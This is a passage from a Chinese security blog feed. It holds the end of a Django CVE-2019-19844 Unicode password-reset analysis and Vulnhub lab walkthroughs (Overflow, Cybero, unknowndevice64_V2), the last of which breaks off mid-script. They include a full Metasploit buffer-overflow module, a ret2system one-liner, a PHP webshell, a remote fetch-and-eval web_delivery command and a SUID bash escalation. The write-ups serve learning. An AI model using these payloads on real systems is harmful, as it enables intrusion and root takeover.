总结漏洞成因:Django发送重置密码邮件时会发送到用户输入的邮箱地址,而不是从数据库中查询出的邮箱地址。Django重置密码功能没有特殊处理Unicode字符串。某些数据库(在某种配置下)进行字符串匹配时不区分大小写,会自动进行Unicode大小写转换。Unicode大小写转换不是简单的一对一关系,而是复杂的多对多关系。某些不是英文字母的Unicode字符在进行大小写转换后会变成英文字母,攻击者输入特殊构造的含有这种字符的邮箱地址便可以接收到特定账户的密码重置邮件。

可利用的Unicode大小写转换

似乎若某个Unicode字符本身不是英文字母,但在经过大小写转换后会变成一个或多个英文字母,那么这个Unicode大小写转换就是可以利用的。现在我们想做的是找出所有可利用的Unicode大小写转换。诚然,一个小写字母的大写字母是什么和一个大写字母的小写字母是什么应该由自然语言决定,但在计算机领域,这种转换关系被定义成了几张映射表:一个字母对一个字母的大小写转换映射定义在UnicodeData.txt中,一个字母对多个字母的大小写转换映射定义在SpecialCasing.txt7。遍历这几张映射表,找到了如下表所列的可能可以利用的Unicode大小写转换。

字符 Unicode编码 转换 转后字母 转换后字母编码
ı U+0131 大写 I U+0073
ſ U+017F 大写 S U+0083
ß U+00DF 大写 SS U+0053 U+0053
U+FB00 大写 FF U+0046 U+0046
U+FB01 大写 FI U+0046 U+0049
U+FB02 大写 FL U+0046 U+004C
U+FB03 大写 FFI U+0046 U+0046 U+0049
U+FB04 大写 FFL U+0046 U+0046 U+004C
U+FB05 大写 ST U+0053 U+0054
U+FB06 大写 ST U+0053 U+0054
U+212A 小写 k U+0083

但进一步测试发现,只有前两行,一个字母对一个字母的大写转换是可以利用的。例如把用户邮箱改为ss@werner.wiki,用ß@werner.wiki查询不出来。

一对多映射无法复现漏洞

这应该和MariaDB的底层实现有关,超出了本文范围,按下不表。

如何修复

Django做了两处改动来修复这个漏洞1

  1. 从数据库检索出可能匹配的帐户列表后,再使用专门的Unicode字符串比较函数来比较用户输入的邮箱地址和数据库中检索出的邮箱地址是否相等。这样无论后端使用怎样的数据库都避免了这一漏洞。
  2. 在发送重置密码邮件时,发送到数据库中检索出的邮箱地址,不再发送到用户输入的邮箱地址。这样攻击者就算能绕过Unicode字符串比较函数的检查也无法接收到密码重置邮件。

利用条件

为利用这一漏洞,至少需满足以下条件:

  • Django启用了找回密码功能(默认未启用);
  • 使用的数据库配置为不区分Unicode大小写;
  • 攻击者知道被攻击账户的邮箱地址;
  • 被攻击账户的邮箱地址中要含有字母i或s;
  • 被攻击账户的邮箱系统要支持非ASCII字符的地址且攻击者可以任意注册或可利用的域名存在且没有被注册。

所以在现实世界中这一漏洞可能很难利用,故而危害较低。

总结

原以为这是一个很简单的漏洞,结果花了好几天时间才勉强强复现了这个漏洞,大致搞懂了漏洞成因。

虽然这一漏洞很难利用,但它具有启发意义:若是编程语言中没有特殊处理Unicode字符串而数据库不区分Unicode大小写,那么便可能可以使用ıſ绕过某些安全措施。

更新

(2020年1月4日)在前文中我们说明了Mysql的utf8_genera_ci字符串进行比较时,会忽略大小写,如认为ıiI相等,利用此特性可以实施账号劫持攻击,但实际上Mysql也认为不同语言中的“同一个”字母相同,如认为英语中字母a、瑞典语中字母å、拉脱维亚语中字母ā和立陶宛语中字母ą都相同。一个简单的试验如下图所示。

每个英文字母都有至少一个其他语言中的对应字母8,但可惜的是这一特性无法在Django找回密码中利用,因为像ådmin@werner.wiki这样的邮箱地址是通不过校验的。归根结底是因为Python正则即使设置了re.IGNORECASE也不会认为aå相等,但却会认为ıi相等,å有自己的大写字母是Å,如下图。

]]>
https://blog.werner.wiki/poc-of-cve-2019-19844/feed/ 3
密码保护:渗透笔记之djinn https://blog.werner.wiki/penetrate-djinn/ https://blog.werner.wiki/penetrate-djinn/#respond Tue, 24 Dec 2019 01:14:58 +0000 https://blog.werner.wiki/?p=990

此内容受密码保护。如需查看请在下方输入访问密码:

]]>
https://blog.werner.wiki/penetrate-djinn/feed/ 0
渗透笔记之Overflow https://blog.werner.wiki/penetrate-overflow/ https://blog.werner.wiki/penetrate-overflow/#respond Tue, 30 Jul 2019 14:08:01 +0000 https://blog.werner.wiki/?p=765

首发于“安全客”,赚点稿费。

背景

Overflow是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机,可在VirtualBox中打开(不建议使用VMware)。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了对其进行渗透的全过程。该靶机难度为简单,需要攻击者具备逆向和缓冲区溢出的基本知识。

准备环境

首先下载靶机镜像,得到文件Overflow.ova,大小为493M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中运行命令netdiscover进行主机发现,确定靶机IP地址为:192.168.1.174。

信息收集

端口扫描

使用Nmap对靶机进行TCP端口扫描:

nmap -sV -p- -Pn -n 192.168.1.174

扫描结果如下图所示,看到靶机开放了80端口和1337端口。

nmap扫描结果

Web探测

访问http://192.168.1.174:80/,看到如下图所示的页面,有一个下载vulnserver的链接。

Web页面

出于习惯,查看页面源码,如下所示,没有什么收获。

<html>
Dirbuster is not needed. Here is the file : <a href="vulnserver" download>vulnserver</a>
</html>

虽然网页中写到“Dirbuster is not needed.”,但还是尝试了一下目录爆破,果然没有发现什么特别的目录。到目前为止,唯一的收获是vulnserver,把它下载下来。

vulnserver研究

功能研究

下载vulnserver后首先使用file命令查看文件类型:

file vulnserver

命令输出如下图所示,可以看出这是一个32位的ELF可执行文件。

file命令输出

给它可执行权限,并且执行它,看到它在监听1337端口,如下图所示。

vulnserver运行截图

用Telnet去连接它,并进行交互,结果如下图所示。

vulnserver交互截图

容易验证,靶机中监听1337端口的为同一程序。看来这个程序应该有可以远程利用的缓冲区溢出漏洞,现在的任务是找出这个漏洞并利用它。

静态分析

先用checksec看看防护情况:

checksec --file=vulnserver

如下图所示,看到什么防护都没有开启,最好不过了。

checksec结果

用IDA pro打开vulnserver,用F5逆向出main函数的C代码,这里只给出最关键的部分:

  /*
   * 省略绑定端口,进行监听的代码
   */
  while ( 1 )
  {
    v12 = accept(fd, &addr, &addr_len);
    if ( v12 < 0 )
      break;
    v3 = ntohs(*(uint16_t *)addr.sa_data);
    v4 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
    printf("Connection accepted from %s:%d\n", v4, v3);
    v11 = fork();    // 注意这里开启了新进程
    if ( !v11 )
    {
      write(v12, "COMMAND : ", 0xAu);
      recv(v12, &buf, 0x400u, 0);    // 接收客户端发来的数据
      if ( !strncmp("OVERFLOW ", &buf, 9u) )    // 只比较前9个字符是否相等
      {
        handleCommand(&buf);    // 调用了函数handleCommand
        write(v12, "COMMAND DONE\n", 0xDu);
      }
      else
      {
        write(v12, "TRY HARDER!\n", 0xCu);
      }
    }
  }
  /*
   * 省略接下来的代码
   */

继续F5逆向handleCommand函数,结果如下所示:

// Start address is 0x08049262
char *__cdecl handleCommand(char *src)
{
  char dest; // [esp+0h] [ebp-28h]
  return strcpy(&dest, src);
}

调用了strcpy,显然handleCommand是有栈溢出漏洞的。

动态调试

刚开始调试时,将断点下在handleCommand函数开始处(0x08049262),不能成功中断,而是收到sigchld信号,调试失败。查阅资料后得知这是由于多进程的原因。

后来采取的调试方法是先运行vulnserver,然后用Telnet建立与vulnserver的连接,此时子进程已经生成,接着打开edb,使用Attach功能调试vulnserver的子进程(进程ID大的那个),如下图所示。

Attache子进程

Attach后,将断点下在0x08049262,然后再输入COMMAND为“OVERFLOW 123456789”,如下图所示。

COMMAND为“OVERFLOW 123456789”

此时在edb中程序成功中断,如下图所示。

成功中断

单步运行至ret指令处,注意观察栈内数据,看到我们输入到“OVERFLOW 123456789”距离返回地址还有11行,也就是4×11=44个字符,如下图所示。

handleCommand ret

编写攻击代码

漏洞发掘完毕,接下来需要编写攻击代码。首先找跳板jmp esp(FF E4),使用edb的BinarySearcher插件,成功地找到了唯一的跳板,位于0x0804929a,如下图所示。

BinarySearcher结果

有了跳板,就可以编写攻击代码了。写了一个Metasploit的exploit模块,代码如下所示:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vulnserver Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the vulnserver which froms a target machine called Overflow.
      },
      'Author'         => 'Werner <me[at]werner.wiki>',
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          ['Vulnhub', 'https://www.vulnhub.com/entry/overflow-1,300/']
        ],
      'Platform'       => %w{ linux },
      'Targets'        =>
        [
          [
            'Vulnserver',
            {
              'Platform' => 'linux',
              'Ret'      => 0x0804929a,
              'Offset'   => 44 - 9
            }
          ],
        ],
      'Payload'        =>
        {
          'BadChars'    => '\x0a\x0d\x00\xff'
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 22 2019'))

    # Configure the default port to be 9080
    register_options(
      [
        Opt::RPORT(1337),
      ])
  end


  def exploit
    print_status("Connecting to target for exploitation.")
    connect
    print_good("Connection established successfully.")
    recv_buf = sock.get_once
    print_status("Received data: #{recv_buf}")
    buf = make_nops(target['Offset'])
    buf = 'OVERFLOW ' + buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    print_status("Sending exploit packet.")
    sock.put(buf)
    handler
    disconnect
  end
end

将上述代码保存到文件vulnserver.rb中,然后将这个文件放在/usr/share/metasploit-framework/modules/exploits/linux/misc/中。

需要特别说明,我使用的Metasploit版本为5.0.27-dev。

完成上述工作后打开msfconsole,输入命令reload_all重载所有模块,看看有没有报错,如果没有报错,exploits的数量应该多了1,这说明模块vulnserver载入成功。

漏洞利用

当然先在本地进行测试,发现攻击代码是可用的。然后进行实际的攻击,进入msfconsole后使用我们刚刚编写的攻击模块vulnserver,设置payload为linux/x86/meterpreter/reverse_tcp,设置rhosts为靶机IP,设置lhost为Kali的IP地址。具体的命令如下:

msf5 > use exploit/linux/misc/vulnserver
msf5 exploit(linux/misc/vulnserver) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/misc/vulnserver) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(linux/misc/vulnserver) > set lhost 192.168.1.200
lhost => 192.168.1.200

设置完成后使用show options命令查看所有设置,如下图所示,检查下确定没有问题。

查看所有设置

之后输入exploit开始攻击,但失败了。没有关系,多尝试几次,就会有一次成功获得meterpreter shell,如下图所示。

成功获得meterpreter shell

探索

首先查看文件,找到了一个flag:user.txt,如下图所示。

user.txt

查看权限发现果然是普通用户,不是root。考虑提权,先搜索有suid标志的文件:

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

结果如下图,值得注意的是一个叫做printauthlog的程序。

suid

考虑到后续可能依旧要使用溢出漏洞来提权,所以看看是否开启了地址随机化,发现是开启的,如下图所示。

aslr

不管这些,先把printauthlog下载下来再说。

printauthlog研究

功能研究

用file命令可以看出printauthlog也是一个32位的ELF可执行程序。同样先运行一下,发现是要输入一个密码。如下图和下下图所示。

printauthlog1

printauthlog2

静态分析

先用checksec看看防护情况:

checksec --file=printauthlog

如下图所示,看到开启了NX(不可执行),有点麻烦,直接jmp esp是不行了。

checksec结果

然后用IDA pro逆向,main函数比较短,直接给出全文:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char command[4]; // [esp+0h] [ebp-7Ch]
  char v5; // [esp+1Ch] [ebp-60h]
  int *v6; // [esp+6Ch] [ebp-10h]

  v6 = &argc;
  strcpy(command, "/bin/cat /var/log/auth.log");
  memset(&v5, 0, 0x48u);
  if ( argc == 2 )
  {
    if ( checkPassword((char *)argv[1]) )
      puts("Wrong password");
    else
      shell(command);
  }
  else
  {
    printf("Usage: %s password\n", *argv);
  }
  return 0;
}

关键点显然在函数checkPassword,继续逆向出checkPassword的C代码,如下:

// Start address is 0x80491C9
int __cdecl checkPassword(char *src)
{
  char s1[4]; // [esp+Fh] [ebp-49h]
  char dest; // [esp+18h] [ebp-40h]

  strcpy(s1, "deadbeef");
  strcpy(&dest, src);
  return strncmp(s1, &dest, 9u);
}

又看到了strcpy,显然checkPassword也是有栈溢出漏洞的。

至于shell函数,其C代码为:

int __cdecl shell(char *command)
{
  return system(command);
}

看到在shell函数中调用了system。

现在我们已经知道密码是deadbeef,试了下果然是正确的密码,如下图所示。但这对权限提升是没有帮助的。

密码正确

动态调试

作为一个单进程程序,调试起来简单一点点。但这个程序需要一个命令行参数,所以用edb调试需要用如下的命令打开:

edb --run ./printauthlog 123456

将程序停在checkPassword函数的ret指令处,如下图所示。

checkPassword ret

数一数可以知道输入的123456距离返回地址有17行,即17×4=68个字符。但由于开启了NX,所以直接将返回地址覆盖为jmp esp是不行的,实际上由于这个程序过于简单,也找不到jmp esp。

编写攻击代码

该如何利用这个漏洞呢?似乎只能用ROP了。但实际上不用那么复杂,因为我们注意到这个程序调用了system(函数shell中),我们只要准备好适当的参数,也调用system就好了。

第一个问题,确定system@plt的地址。这使用objdump来完成:

objdump -d -j .plt printauthlog

部分输出如下:

08049060 <system@plt>:
 8049060:   ff 25 18 c0 04 08       jmp    *0x804c018
 8049066:   68 18 00 00 00          push   $0x18
 804906b:   e9 b0 ff ff ff          jmp    8049020 <.plt>

第二个问题,如何准备system的参数。这个问题有点麻烦,因为32位程序的参数是通过栈传递的,而system的参数是字符串指针。如下图所示是正常调用system@plt开始时的栈中数据情况,可以看到system的参数0xffd8462c是指向字符串的指针,而不是字符串本身。虽然可以将栈中数据覆盖为任意值,但由于地址的动态特性,我不知道有什么办法在构造shellcode时可以确定栈中字符串地址。

正常调用system

因为这个问题迟迟没能解决,我几乎要放弃了。但正要放弃时,忽然想到了另一个靶机HackInOS中通过命令劫持的方式实现了提权。那台靶机中有suid标志的可执行文件的C代码为:

#include <unistd.h>
#include <stdlib.h>

int main(){
    setgid(0);
    setuid(0);
    system("whoami");
    return 0;
}

通过劫持whoami命令,将whoami替换为“/bin/bash -p”成功提权。

回到面临的问题,其实我不需要把自己构造的字符串做为system的参数,几乎任意的字符串都可以做为system的参数,只要它是固定的(内容和地址都固定),不以“/”开头(以“/”开头没法劫持)。这样的字符串还是有很多的,比如“Wrong password”。

首先确定“Wrong password”的地址,依旧使用BinarySearcher,找到其地址为0x0804a008,如下图所示。

字符串地址

然后就可以构造shellcode了,从前往后(栈中从上往下)依次是:

17*4 字节的填充
0x08049060:system@plt的地址
0x080491C0:一个实际上不会用到的返回地址,单纯占位
0x0804A008:“Wrong password”的地址,system的参数

由于printauthlog接收的是命令行参数,所以需要借助perl来输入“\x08”这样的特殊字符(靶机中没有Python)。实际执行如下的命令完成攻击:

./printauthlog $(perl -e 'print "A"x(17*4)."\x60\x90\x04\x08"."\xc0\x91\x04\x08"."\x08\xa0\x04\x08"')

但现在执行上述命令还不能成功,因为我们还没有劫持“Wrong”命令。

实施攻击

首先从meterpreter shell进入到bash shell中,然后看看当前目录,发现是/home/user,如下图。

pwd

然后建立一个名为Wrong的文件,内容为“/bin/bash -p”,并给它可执行权限,如下图。

Wrong

接着在PATH中添加/home/user,如下所示。

PATH="$PATH:/home/user"

PATH

此时已完成对“Wrong”命令的劫持。最后运行攻击命令,获得一个有root权限的bash shell,如下图。

EXPLOIT!

有了root权限,很容易就找到了root的flag,如下图。

root flag

flag是:

dfd0ac5a9cb9220d0d34322878d9cd7b

当然由于shellcode过于简单,只要一退出root shell,程序就崩溃了,如下图。

Segmentation fault

总结

虽然就缓冲区溢出而言,这个靶机的难度只能算简单,但我对这方面知识的了解仅限于阅读过《0day安全:软件漏洞分析技术(第二版)》,而且还是三年前的事情了,所以对我来说还是有相当的挑战的,成功拿到root权限后,带来的成就感也是前所未有的。

在渗透的过程中,果然不能轻言放弃,而是要尝试所有的可能性。同时我也感受到了二进制的魅力——内存海洋的苦苦寻觅,不拘一格的漏洞利用。

做的不好的地方在于没有过多的思考就直接执行了从靶机中下载的可执行文件,应该准备一个专用的沙盒的。

参考

]]>
https://blog.werner.wiki/penetrate-overflow/feed/ 0
渗透笔记之Cybero https://blog.werner.wiki/penetrate-cybero/ https://blog.werner.wiki/penetrate-cybero/#comments Mon, 24 Jun 2019 10:59:34 +0000 https://blog.werner.wiki/?p=698 背景

Cybero是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了对其进行渗透的全过程。该靶机难度为中等,具有浓厚的CTF风格。

准备环境

首先下载靶机镜像,得到文件Cybero.ova,大小为690M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中运行命令netdiscover进行主机发现,结果如下图所示。

netdiscover

注意到IP地址192.168.1.5的MAC地址以“08:00:27”开头,是VirtualBox的虚拟网卡,从而确定这就是我们要渗透的目标。

端口扫描

使用Nmap对靶机进行TCP端口扫描:

nmap -A -p- 192.168.1.5

nmap命令输出

发现开放了四个端口:

  • 21: FTP
  • 22: SSH
  • 80: HTTP
  • 8085: HTTP

探索HTTP(80)

在浏览器中访问http://192.168.1.5/,看到如下图所示的页面。

80端口页面

查看网页源码没有发现可疑注释,用exif和binwalk命令初步确定图片中没有隐藏额外信息。

用dirb扫描Web目录,命令如下:

dirb http://192.168.1.5/

dirb命令输出

成功地找到了一个目录“userapp”。在浏览器中访问http://192.168.1.5/userapp/,看到如下图所示的页面。

userapp页面

只有一个文件users.sql,下载后查看其内容,发现唯一的有效数据是:

INSERT INTO `users` (`id`, `name`, `surname`, `phone`, `social_media`) VALUES
(1, 'Roxanna', 'Basley', '612-963-4457', '00110110 00111000 00110111 00110100 00110111 00110100 00110111 00110000 00110111 00110011 00110011 01100001 00110010 01100110 00110010 01100110 00110111 00110111 00110111 00110111 00110111 00110111 00110010 01100101 00110110 00111001 00110110 01100101 00110111 00110011 00110111 00110100 00110110 00110001 00110110 00110111 00110111 00110010 00110110 00110001 00110110 01100100 00110010 01100101 00110110 00110011 00110110 01100110 00110110 01100100 00110010 01100110 00110111 00110010 00110110 01100110 00110111 00111000 00110110 00110001 00110110 01100101 00110110 01100101 00110110 00110101 00110110 00110010 00110110 00110001 00110111 00110011 00110110 01100011 00110110 00110101 00110111 00111001 00110010 01100110 ');

其中有用户名、电话等信息,值得注意地是social_media的值被编码过。“00110110 00111000 ……”每个都以0开头,且长度为8位,显然是ASCII码的二进制形式。按ASCII解码后得到长度为80的字符串:

68747470733a2f2f7777772e696e7374616772616d2e636f6d2f726f78616e6e656261736c65792f

观察上述字符串,发现每个字符均为有效的16进制字符。而68是字符h的16进制ASCII码,74是字符t的16进制ASCII码。故两两组合上述字符串,再次按ASCII解码,得到40个字符:

https://www.instagram.com/roxannebasley/

是一个链接,打开看到如下所示的页面。

instagram页面

得到一个Flag:{FLAGCybero50}。

附:解密使用的Python脚本如下:

o = '00110110 00111000 00110111 00110100 00110111 00110100 00110111 00110000 00110111 00110011 00110011 01100001 00110010 01100110 00110010 01100110 00110111 00110111 00110111 00110111 00110111 00110111 00110010 01100101 00110110 00111001 00110110 01100101 00110111 00110011 00110111 00110100 00110110 00110001 00110110 00110111 00110111 00110010 00110110 00110001 00110110 01100100 00110010 01100101 00110110 00110011 00110110 01100110 00110110 01100100 00110010 01100110 00110111 00110010 00110110 01100110 00110111 00111000 00110110 00110001 00110110 01100101 00110110 01100101 00110110 00110101 00110110 00110010 00110110 00110001 00110111 00110011 00110110 01100011 00110110 00110101 00110111 00111001 00110010 01100110'

output = str()
cache = str()
for i in o.split(' '):
    cache += chr(int(i, 2))
    if len(cache) == 2:
        output += chr(int(cache, 16))
        cache = str()

print('The length is {}'.format(len(output)))
print('The string is {}'.format(output))

运行此脚本的输出如下图所示。

解码脚本输出

探索HTTP(8085)

在浏览器中访问http://192.168.1.5:8085/,看到如下图所示的页面。

8085端口页面

查看网页源码,看到POST参数的名字是“command”,似乎在暗示是一个命令注入。

<form method="POST">

<input type="text" name="command"><br><br><br>
<input type="submit" value="Call me">

</form>

查看图片是否隐藏信息、扫描目录等都没有收获,只好从输入框突破。

首先尝试了SQL注入,发现没有SQL注入漏洞,只好从提示找线索。提示说要给Google打电话,而刚刚在users.sql中获得了一个电话号“612-963-4457”,输入它后点击“Call me”,返回页面提示“Only call”,这说明输入的内容不正确。输入“call”,依旧返回“Only call”。搜索谷歌的电话号码,输入后依旧返回“Only call”。后来想到call不一定是打电话,或是和电话号码有关,可能只是一种比喻。最后从“Only 3 times”想到了ping命令,因为ping命令可以指定ping的次数。多番尝试之后终于发现输入“ping -c 3 google.com”返回结果不是“Only call”,而是ping命令的输出,如下图所示。

ping google

但“Last line of the output:”为空,似乎缺点什么。先不管了,尝试命令注入。又经过多番尝试,终于发现输入“ping -c 3 google.com;whoami”会返回我们想要的结果,如下图所示。

ping google;whoami

得到另一个Flag:{FLAGCybero10PT},并且拿到了下一关的地址。

文件上传

点击“Follow me”,打开的页面如下图所示,是一个文件上传。

文件上传

根据提示,需要上传一个php文件。先用msfvenom做一个php格式的Meterpreter木马,连接方式为TCP反弹连接,命令如下:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f raw -o rt.php

msfvenom命令输出

然后尝试上传rt.php,果然失败了,错误提示是:

Upload a valid image file - .Sorry, your file was not uploaded.

尝试上传一张正常的png图片,竟然也失败了。尝试上传一张正常的jpg图片,终于成功了,但返回结果里没有上传成功后的文件路径。简单测试后发现上传后的文件保存在“/darkroomforyou/uploads/”中,并且没有重命名,如下图所示。

上传后的文件

又尝试上传了一些文件,有些成功,有些失败,总结如下:

  • 上传一张正常的png图片logo.png:失败
  • 上传一张正常的jpg图片google.jpg:成功
  • 上传rt.php:失败
  • 将rt.php重命名为rt.jpg并上传:成功
  • 上传rt.php,但用Burp Suite把请求包中的Content-Type改为image/jpeg:失败

这些测试表明服务器端只是简单地校验了上传文件的后缀名是否在白名单中。

端口扫描已经确定了服务器是“Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)”,并没有可以利用的解析漏洞。这样看来是不可能上传php文件的,除非php文件后缀在白名单中。

先确定一下哪些后缀在白名单中。在Linux中,文件类型和后缀在文件“/etc/mime.types”中定义,把这个文件中的后缀提取到一个文件中,一行一个。然后用Burp Suite爆破文件后缀,如下图所示。

设置文件后缀为变量

爆破结果如下图所示。

后缀爆破结果

从图中可以看到白名单中的后缀有:jpeg、jpg、gif和phtml。且后缀为phtml时,返回结果为:

The file a.phtml has been uploaded.{FLAGCybero25}           <a href="/darkroomforyou/agent.php">Follow me :)</a>

先不follow它,看看上传的结果,发现“/darkroomforyou/uploads/”中的所有文件都被清空了,果然是CTF的玩法。只好follow它。

Agnet

follow它,打开/darkroomforyou/agent.php,看到如下图所示的页面。

AGENT 007

Agent既有“特工”,又有“代理”的意思。CTF中修改User-Agent的题目数不胜数,所以尝试把User-Agent修改为“007”,再次提交,看到如下图所示的页面。

USER-AGENT 007

看到页面中多了Flag:{FLAGCybero35},还多了一个“Follow me:)”,其网页源码为:

{FLAGCybero35}<center><a href="/darkroomforyou/agent.php?page=hello.php">Follow me :)</a>

看到新的链接还是原来的路径,只是添加了GET参数“page=hello.php”,怎么看怎么像文件包含。尝试访问:/darkroomforyou/agent.php?page=../../../../../../../etc/passwd,成功地包含出/etc/passwd文件的内容,如下图所示。

包含出敏感文件

发现一个Flag:{FLAGCybero44},还发现两个用户cybero和hemid。尝试包含出/etc/shadow文件,但失败了,应该是没有权限。

获取Webshell

现在我们有一个文件包含漏洞和一个上传点,足够获取Webshell了。

首先把制作好的php木马rt.php重命名为rt.jpg,然后上传,上传成功后路径为:/darkroomforyou/uploads/rt.jpg,如下图所示。

rt.jpg

接着在Metasploit中设置监听,然后访问/darkroomforyou/agent.php?page=uploads/rt.jpg以执行php木马。

但不知什么原因,反弹连接建立后就会立马中断,多次尝试都没有成功。

重新准备一个简单些的后门,创建文件cmd.jpg,内容如下:

<?php system($_GET['cmd']); ?>

上传后访问/agent.php?page=uploads/cmd.jpg&cmd=ifconfig试试效果,发现是成功的,网页中出现了ifconfig命令的输出,如下图所示。

ifconfig命令被执行

用Metasploit的web_delivery模块来建立Meterpreter Session连接。首先设置好荷载和参数,然后运行此模块,根据提示需要执行:

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.1.200:8080/GadWC4tEj4T'));"

所以访问/darkroomforyou/agent.php?page=uploads/cmd.jpg&cmd=php%20-d%20allow_url_fopen=true%20-r%20%22eval(file_get_contents(%27http://192.168.1.200:8080/GadWC4tEj4T%27));%22

成功地创建了Meterpreter Session连接,如下图所示。

web_delivery

连接建立后首先读取当前用户信息,发现是apache,果然不是root。一番探索之后在/var/ftp中发现了文件cybero.txt,如下图所示:

cybero.txt

获得了Flag:{FLAGCybero10}和一个密码“hemid123”。尝试用这个密码以cybero用户登录ssh,发现密码错误,以hemid用户登录,登录成功,如下图所示。

ssh登录

提权

以hemid的身份登录靶机后发现没有root权限,需要提取。

在hemid家目录中看到文件17932,内容如下图所示:

polkit-pwnage.c

是个提权的Exploit。所以这是自带提权???

尝试编译运行这个Exploit,发现是不行的。结果如下图所示。

提权失败

之后又尝试了SUDO提权和SUID提权,都失败了。最后在/tmp目录中看到文件endofthegame.py,hemid用户可以修改这个文件的内容,如下图所示。

endofthegame.py

我们知道提权是这个渗透测试游戏的最后一关,若提权成功,则游戏结束,所以推测提权就靠这个文件了。联系Vulnhub中另一个靶机Wakanda的“提权”方式,推测有一个定时任务会定期执行endofthegame.py。所以修改其内容为:

#!/usr/env python
import subprocess
subprocess.call(["rm", "log.yum"])

import os
os.system("cp /bin/bash /tmp/bash")
os.system("chmod 6775 /tmp/bash")

静静等待几分钟后,惊喜地发现在/tmp目录中出现了bash文件,且设置了SUID,如下图所示:

/tmp/bash

运行:

/tmp/bash -p

提权成功,如下图所示。

提权成功

总结

这个靶机前后花了我一周的时间,主要是有些关卡脑洞太大,想了很久,尝试了许多错误的方法,最终才解出来。

]]>
https://blog.werner.wiki/penetrate-cybero/feed/ 1
渗透笔记之unknowndevice64_V2 https://blog.werner.wiki/penetrate-unknowndevice64-2/ https://blog.werner.wiki/penetrate-unknowndevice64-2/#respond Tue, 11 Jun 2019 14:20:00 +0000 https://blog.werner.wiki/?p=690 背景

上次玩了unknowndevice64,后来听说还有V2版本,于是也下载下来玩玩。

本文较为完整地记录了我对其进行渗透的全过程。该靶机较为简单,但由于我误入歧途,所以还是花了几天时间才完成从boot到root。

准备环境

首先下载靶机镜像,得到文件unknowndevice64-V2.0.ova,大小为1.59G。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一虚拟网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中用Nmap扫描192.168.1.0/24网段,确定靶机的IP地址为192.168.1.9。

端口扫描

先用nmap扫描端口,吸取上次的教训,加上参数“-p-”:

root@kali:~# nmap -Pn -n -sV -p- 192.168.1.9

Nmap扫描结果

结果比较诡异,除了6465端口是熟悉的ssh服务外,5555端口和12345端口都是不认识的服务。

习惯性地用浏览器访问5555端口和12345端口,发现12345端口其实是个web服务,如下图所示,需要输入用户名和密码才能打开。

Web界面-需登录

HTTP认证爆破

看到登录框当然想要爆破一下。原本打算用hydra,但不知出了什么bug,总是报错。也许是因为目标采用的是Digest access authentication而不是Basic access authentication。于是改用Kali自带的工具ncrack进行爆破:

root@kali:~# ncrack -v http://192.168.1.9:12345

ncrack输出结果

很幸运地找到了用户名和密码:administrator:password,名副其实的弱密码。

输入正确的用户名和密码后看到如下图所示地页面。

网页内容

照例查看源码等等,没有发现什么。但看到页面有一个图标:

网页图标

下载下来看看,128像素x128像素,却有18K大,很可疑。

隐写破解

联想到unknowndevice64便是通过隐写破解找到ssh登录凭据地,于是很“合理”地怀疑上图所示地图标中也隐藏了信息。尝试破解。

首先有binwalk看看,果然有发现:

root@kali:~/Downloads/unknowndevice64_v2# binwalk index.png

binwalk输出

正常图片的后面是两个Zlib压缩数据。

提取压缩数据到文件中:

root@kali:~/Downloads/unknowndevice64_v2# dd if=index.png of=data1 skip=85 count=2672 bs=1
root@kali:~/Downloads/unknowndevice64_v2# dd if=index.png of=data2 skip=2757 bs=1

提取压缩数据到文件中的命令截图

然后再写一个Python脚本解压它们。Python脚本文件名为unzlib.py,内容如下:

import sys
from zlib import decompress

input_file = sys.argv[1]
output_file = sys.argv[2]

with open(input_file, 'rb') as f:
    input_data = f.read()
output_data = decompress(input_data)
with open(output_file, 'wb') as f:
    f.write(output_data)

用这个脚本解压提取出的数据:

root@kali:~/Downloads/unknowndevice64_v2# python unzlib.py data1 out1
root@kali:~/Downloads/unknowndevice64_v2# python unzlib.py data2 out2

解压提取出的数据

提取成功,感觉胜利就在眼前。查看第一个文件的类型:

root@kali:~/Downloads/unknowndevice64_v2# file out1

file命令输出

发现是一个颜色配置文件,如下图所示:

颜色配置文件

查看第二个文件的类型:

root@kali:~/Downloads/unknowndevice64_v2# file out2
root@kali:~/Downloads/unknowndevice64_v2# strings out2
root@kali:~/Downloads/unknowndevice64_v2# binwalk out2

命令输出

发现是纯数据。

用二进制编辑器查看其内容:

root@kali:~/Downloads/unknowndevice64_v2# hexeditor out2

二进制编辑器查看其内容

有大量的四字节重复,看着像是bmp图片。一个像素点4bit有两种格式:

  • RGBA (4×8-bit pixels, true color with transparency mask)
  • CMYK (4×8-bit pixels, color separation)

在写一个Python将out2转换成bmp图片,脚本名为img.py,内容为:

import struct
from PIL import Image


def byte2int(byte):
